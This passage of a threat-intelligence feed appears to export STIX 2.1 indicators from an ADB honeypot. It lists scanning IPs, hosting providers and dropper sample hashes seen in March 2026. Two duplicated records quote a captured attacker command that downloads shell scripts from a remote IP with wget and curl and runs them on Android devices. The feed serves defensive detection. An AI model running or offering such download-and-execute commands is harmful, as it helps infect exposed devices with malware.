          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-10T15:47:04.000Z",
          "last_seen": "2026-03-10T15:48:10.876Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-10T16:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-10T15:47:04.000Z | last_seen=2026-03-10T15:48:10.876Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--df13617c-435e-487a-819a-5a45bc578c22",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '143.42.1.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T16:00:04.000Z",
      "valid_until": "2026-04-11T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-10T15:47:04.000Z",
          "last_seen": "2026-03-10T15:48:10.876Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-10T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=31 | first_seen=2026-03-10T17:48:36.000Z | last_seen=2026-03-18T14:01:06.560Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--c6fbd370-fcac-4eff-b97a-bf965897fcde",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '178.128.66.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T18:00:02.000Z",
      "valid_until": "2026-04-11T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 31,
          "first_seen": "2026-03-10T17:48:36.000Z",
          "last_seen": "2026-03-18T14:01:06.560Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-10T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=31 | first_seen=2026-03-10T17:48:36.000Z | last_seen=2026-03-18T14:01:06.560Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--c6fbd370-fcac-4eff-b97a-bf965897fcde",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '178.128.66.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T18:00:02.000Z",
      "valid_until": "2026-04-11T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 31,
          "first_seen": "2026-03-10T17:48:36.000Z",
          "last_seen": "2026-03-18T14:01:06.560Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-10T19:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-10T18:22:31.000Z | last_seen=2026-03-10T18:32:42.691Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--21504122-28ce-4699-8c86-61d3168596e3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '161.35.236.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T19:00:03.000Z",
      "valid_until": "2026-04-11T19:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-10T18:22:31.000Z",
          "last_seen": "2026-03-10T18:32:42.691Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-10T19:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-10T18:45:03.000Z | last_seen=2026-03-10T18:56:54.865Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--af4e1c4d-4349-4a5e-966c-33bd05462a1c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '165.227.68.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T19:00:03.000Z",
      "valid_until": "2026-04-11T19:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-10T18:45:03.000Z",
          "last_seen": "2026-03-10T18:56:54.865Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-10T19:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-10T18:22:31.000Z | last_seen=2026-03-10T18:32:42.691Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--21504122-28ce-4699-8c86-61d3168596e3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '161.35.236.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T19:00:03.000Z",
      "valid_until": "2026-04-11T19:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-10T18:22:31.000Z",
          "last_seen": "2026-03-10T18:32:42.691Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-10T19:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-10T18:45:03.000Z | last_seen=2026-03-10T18:56:54.865Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--af4e1c4d-4349-4a5e-966c-33bd05462a1c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '165.227.68.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T19:00:03.000Z",
      "valid_until": "2026-04-11T19:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-10T18:45:03.000Z",
          "last_seen": "2026-03-10T18:56:54.865Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-10T21:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=21; ports=5555; cc=US; asn=202425; asn_org=IP Volume inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=287 | first_seen=2026-03-10T20:29:34.000Z | last_seen=2026-03-18T04:09:36.860Z | ports=5555 | cc=US | asn=202425 | org=IP Volume inc",
      "id": "indicator--5857159d-0396-49df-8d41-fb4a48358d29",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T21:00:02.000Z",
      "valid_until": "2026-04-11T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 287,
          "first_seen": "2026-03-10T20:29:34.000Z",
          "last_seen": "2026-03-18T04:09:36.860Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "202425"
          ],
          "org": [
            "IP Volume inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-10T21:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=21; ports=5555; cc=US; asn=202425; asn_org=IP Volume inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=287 | first_seen=2026-03-10T20:29:34.000Z | last_seen=2026-03-18T04:09:36.860Z | ports=5555 | cc=US | asn=202425 | org=IP Volume inc",
      "id": "indicator--5857159d-0396-49df-8d41-fb4a48358d29",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T21:00:10.000Z",
      "valid_until": "2026-04-11T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 287,
          "first_seen": "2026-03-10T20:29:34.000Z",
          "last_seen": "2026-03-18T04:09:36.860Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "202425"
          ],
          "org": [
            "IP Volume inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-11T01:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=GB; asn=211298; asn_org=Driftnet Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-11T00:24:59.000Z | last_seen=2026-03-11T00:26:05.204Z | ports=5555 | cc=GB | asn=211298 | org=Driftnet Ltd",
      "id": "indicator--4425c0ed-412e-4c2f-b701-6697ae52468b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '193.163.125.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T01:00:03.000Z",
      "valid_until": "2026-04-12T01:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-11T00:24:59.000Z",
          "last_seen": "2026-03-11T00:26:05.204Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "211298"
          ],
          "org": [
            "Driftnet Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-11T01:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=GB; asn=209605; asn_org=UAB Host Baltic; adb_cmd_hits=1; cmd=\"cd /data/local/tmp/; busybox wget http://94.156.152.233/bins/w.sh; sh w.sh; curl http://94.156.152.233/bins/c.sh; sh c.sh\"\n\nObserved in ADBHoney telemetry for 2026-03. events=44 | first_seen=2026-03-11T00:47:49.000Z | last_seen=2026-03-12T01:06:29.981Z | ports=5555 | cc=GB | asn=209605 | org=UAB Host Baltic",
      "id": "indicator--943c175d-bab4-4e48-aff5-3de56a0dddfd",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.224.92.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T01:00:03.000Z",
      "valid_until": "2026-04-12T01:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 44,
          "first_seen": "2026-03-11T00:47:49.000Z",
          "last_seen": "2026-03-12T01:06:29.981Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "209605"
          ],
          "org": [
            "UAB Host Baltic"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-11T01:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/7606918188be2bf1c8e11fce7be93f39147b8bab495b7f6363b2073d605df5d0.raw; last_seen=2026-03-11T00:47:51.227Z",
      "id": "indicator--3ef0211f-9c5a-4899-8fa3-4ccd9f9aeb85",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '7606918188be2bf1c8e11fce7be93f39147b8bab495b7f6363b2073d605df5d0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T01:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-11T01:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/e0e223b8fdbc20bea6dfc92e1caac3c169efe8151805c66816c920a832598687.raw; last_seen=2026-03-11T00:47:51.531Z",
      "id": "indicator--a7b51aef-8e9d-4e5e-9261-9c58f0640832",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = 'e0e223b8fdbc20bea6dfc92e1caac3c169efe8151805c66816c920a832598687']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T01:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-11T01:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=GB; asn=211298; asn_org=Driftnet Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-11T00:24:59.000Z | last_seen=2026-03-11T00:26:05.204Z | ports=5555 | cc=GB | asn=211298 | org=Driftnet Ltd",
      "id": "indicator--4425c0ed-412e-4c2f-b701-6697ae52468b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '193.163.125.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T01:00:04.000Z",
      "valid_until": "2026-04-12T01:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-11T00:24:59.000Z",
          "last_seen": "2026-03-11T00:26:05.204Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "211298"
          ],
          "org": [
            "Driftnet Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-11T01:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=GB; asn=209605; asn_org=UAB Host Baltic; adb_cmd_hits=1; cmd=\"cd /data/local/tmp/; busybox wget http://94.156.152.233/bins/w.sh; sh w.sh; curl http://94.156.152.233/bins/c.sh; sh c.sh\"\n\nObserved in ADBHoney telemetry for 2026-03. events=44 | first_seen=2026-03-11T00:47:49.000Z | last_seen=2026-03-12T01:06:29.981Z | ports=5555 | cc=GB | asn=209605 | org=UAB Host Baltic",
      "id": "indicator--943c175d-bab4-4e48-aff5-3de56a0dddfd",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.224.92.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T01:00:04.000Z",
      "valid_until": "2026-04-12T01:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 44,
          "first_seen": "2026-03-11T00:47:49.000Z",
          "last_seen": "2026-03-12T01:06:29.981Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "209605"
          ],
          "org": [
            "UAB Host Baltic"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-11T01:00:04.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/7606918188be2bf1c8e11fce7be93f39147b8bab495b7f6363b2073d605df5d0.raw; last_seen=2026-03-11T00:47:51.227Z",
      "id": "indicator--3ef0211f-9c5a-4899-8fa3-4ccd9f9aeb85",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '7606918188be2bf1c8e11fce7be93f39147b8bab495b7f6363b2073d605df5d0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T01:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-11T01:00:04.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/e0e223b8fdbc20bea6dfc92e1caac3c169efe8151805c66816c920a832598687.raw; last_seen=2026-03-11T00:47:51.531Z",
      "id": "indicator--a7b51aef-8e9d-4e5e-9261-9c58f0640832",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = 'e0e223b8fdbc20bea6dfc92e1caac3c169efe8151805c66816c920a832598687']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T01:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
